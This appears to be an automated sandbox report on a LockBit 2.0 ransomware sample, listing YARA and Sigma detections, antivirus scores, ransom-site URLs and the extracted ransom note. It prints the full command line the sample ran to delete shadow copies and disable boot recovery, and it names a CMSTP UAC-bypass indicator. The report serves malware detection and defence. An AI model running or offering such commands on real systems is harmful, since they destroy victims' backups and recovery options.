26.3.Pna3t7DeL3.exe.49c0000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
26.3.Pna3t7DeL3.exe.49c0000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
10.2.Pna3t7DeL3.exe.48c0e67.1.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
0.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
0.3.Pna3t7DeL3.exe.49b0000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
34.3.Pna3t7DeL3.exe.4a10000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
26.2.Pna3t7DeL3.exe.400000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
26.2.Pna3t7DeL3.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
26.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
26.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
26.2.Pna3t7DeL3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
26.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
26.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
0.2.Pna3t7DeL3.exe.48b0e67.1.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
Click to see the 203 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no, CommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\Pna3t7DeL3.exe, ParentImage: C:\Users\user\Desktop\Pna3t7DeL3.exe, ParentProcessId: 3780, ParentProcessName: Pna3t7DeL3.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no, ProcessId: 7024, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

• AV Detection
• Exploits
• Compliance
• Spreading
• Software Vulnerabilities
• Networking
• Spam, unwanted Advertisements and Ransom Demands
• Operating System Destruction
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Pna3t7DeL3.exe	ReversingLabs: Detection: 96%
Source: Pna3t7DeL3.exe	Virustotal: Detection: 78%			Perma Link

Antivirus detection for URL or domain

Source: https://bigblog.at	Avira URL Cloud: Label: malware
Source: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion	Avira URL Cloud: Label: malware
Source: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion	Avira URL Cloud: Label: malware
Source: https://decoding.at	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: https://bigblog.at

Virustotal: Detection: 12%

Perma Link

Machine Learning detection for sample

Source: Pna3t7DeL3.exe

Joe Sandbox ML: detected

Source: Restore-My-Files.txt8.0.dr

Malware Configuration Extractor: Lockbit {"URL": "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion", "Ransom Note": "LockBit 2.0 Ransomware\r\n\r\nYour data are stolen and encrypted\r\nThe data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom\r\nYou can contact us and decrypt one file for free on these TOR sites\r\nhttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion\r\nhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion\r\nOR\r\nhttps://decoding.at\r\n\r\nDecryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8"}

Exploits

